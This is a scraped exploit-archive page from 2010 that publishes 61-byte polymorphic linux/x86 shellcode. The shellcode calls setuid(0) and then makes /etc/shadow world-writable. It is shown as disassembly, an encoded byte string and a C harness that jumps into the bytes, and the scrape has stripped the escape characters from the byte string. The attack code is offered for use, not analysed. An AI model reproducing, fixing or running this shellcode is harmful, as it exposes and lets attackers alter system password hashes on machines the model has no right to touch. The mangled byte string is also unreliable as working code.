Home / os / win7

linux/x86 Polymorphic - setuid(0) + chmod("/etc/shadow&

Posted on 31 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 Polymorphic - setuid(0) + chmod(&quot;/etc/shadow&quot;, 0666) 61 Bytes  </title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================================================
linux/x86 Shellcode Polymorphic - setuid(0) + chmod(&quot;/etc/shadow&quot;, 0666) 61 Bytes  
=================================================================================


/* 
 * Title: linux/x86 Shellcode Polymorphic - setuid(0) + chmod(&quot;/etc/shadow&quot;, 0666) Shellcode 61 Bytes  
 * Encode  : _ADD
 * Author: antrhacks
 * Platform: Linux X86
*/

/* 0riginAl ASSembly
 31 db                	xor    %ebx,%ebx
 b0 17                	mov    $0x17,%al
 cd 80                	int    $0x80
 31 c0                	xor    %eax,%eax
 50                   	push   %eax
 68 61 64 6f 77       	push   $0x776f6461
 68 63 2f 73 68       	push   $0x68732f63
 68 2f 2f 65 74       	push   $0x74652f2f
 89 e3                	mov    %esp,%ebx
 66 b9 b6 01          	mov    $0x1b6,%cx
 b0 0f                	mov    $0xf,%al
 cd 80                	int    $0x80
 40                   	inc    %eax
 cd 80                	int    $0x80
*/


#include &quot;stdio.h&quot;

char shellcode[] = &quot;xebx11x5ex31xc9xb1x37x80x6cx0exffx13&quot;
&quot;x80xe9x01x75xf6xebx05xe8xeaxffxffxff&quot;
&quot;x44xeexc3x2axe0x93x44xd3x63x7bx74x77x82x8ax7bx76x42x86x7bx7bx42x42x78x87x9c&quot;
&quot;xf6x79xccxc9x14xc3x22xe0x93x53xe0x93&quot;; 

int main()
{
        printf(&quot; [*] Polymorphic Shellcode - length: %d
&quot;,strlen(shellcode));
        (*(void(*)()) shellcode)();

        return 0;
}



# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-31]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :